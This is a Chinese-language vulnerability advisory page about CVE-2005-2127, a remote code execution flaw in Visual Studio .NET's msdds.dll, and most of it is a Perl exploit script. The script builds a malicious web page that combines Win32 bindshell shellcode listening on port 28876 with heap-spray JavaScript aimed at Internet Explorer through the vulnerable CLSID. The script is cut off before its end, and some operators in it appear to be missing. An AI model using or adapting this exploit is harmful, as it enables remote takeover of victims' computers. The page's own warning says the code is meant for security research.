Microsoft Visual Studio .NET msdds.dll远程代…

2008-04-10 03:02:32来源：互联网阅读 ()

Microsoft Visual Studio .NET msdds.dll远程代码执行漏洞

发布日期：2005-08-18
更新日期：2005-08-18

受影响系统：

Microsoft Visual Studio .NET Trial Edition
Microsoft Visual Studio .NET Professional Edition
Microsoft Visual Studio .NET Enterprise Developer Edition
Microsoft Visual Studio .NET Enterprise Architect Edition
Microsoft Visual Studio .NET Academic Edition
Microsoft Visual Studio .NET 2003 Enterprise Architect
Microsoft Visual Studio .NET 2003
Microsoft Visual Studio .NET 2002

描述：

BUGTRAQ ID: 14594
CVE(CAN) ID: CVE-2005-2127

Visual Studio .NET是用于创建和集成XML Web服务和应用程序的综合开发工具。

Microsoft Visual Studio .NET中的漏洞可能允许攻击者远程执行任意代码。

目前更多信息不详。

<*来源：Microsoft
*>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/perl
#######################################################
#
# Microsoft Internet Explorer "Msdds.dll" Remote Code Execution Exploit
(0day)
#
# Bindshell on port 28876 - Vulnerability discovered and exploited by
Anonymous
#
# PoC code ripped from Berend-Jan Wever's Internet-Exploiter
#
# Vulnerable : EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F (Msdds.dll)
#
# Tested on : Microsoft Internet Explorer 6 SP2 (Windows XP SP2)
#
# Code usage : perl IE-Msddsdll-0day.pl > mypage.html
#
#######################################################
#
# This program is free software; you can redistribute it and/or modify it
under
# the terms of the GNU General Public License version 2, 1991 as published
by
# the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but
WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# A copy of the GNU General Public License can be found at:
# http://www.gnu.org/licenses/gpl.html
# or you can write to:
# Free Software Foundation, Inc.
# 59 Temple Place - Suite 330
# Boston, MA 02111-1307
# USA.
#
#######################################################

# header
my $header = "<html><body>\n<SCRIPT language=\"javascript\">\n";

# Win32 bindshell (port 28876) - SkyLined
my $shellcode = "shellcode = unescape(\"%u4343\" \"%u4343\" \"%u43eb".
"%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea".
"%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7".
"%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b".
"%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64".
"%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c".
"%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe".
"%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0".
"%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050".
"%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6".
"%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650".
"%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa".
"%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656".
"%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1".
"%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353".
"%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353".
"%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe".
"%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff".
"%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n";

# Memory
my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n".
"headersize = 20;\n".
"slackspace = headersize shellcode.length\n".
"while (bigblock.length<slackspace) bigblock =bigblock;\n".
"fillblock = bigblock.substring(0, slackspace);\n".
"block = bigblock.substring(0, bigblock.length-slackspace);\n".
"while(block.length slackspace<0x40000) block = block block fillblock;\n".
"memory = new Array();\n".
"for (i=0;i<700;i ) memory[i] = block shellcode;\n".
"</SCRIPT>\n";

# Msdds.dll
my $clsid = 'EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F';

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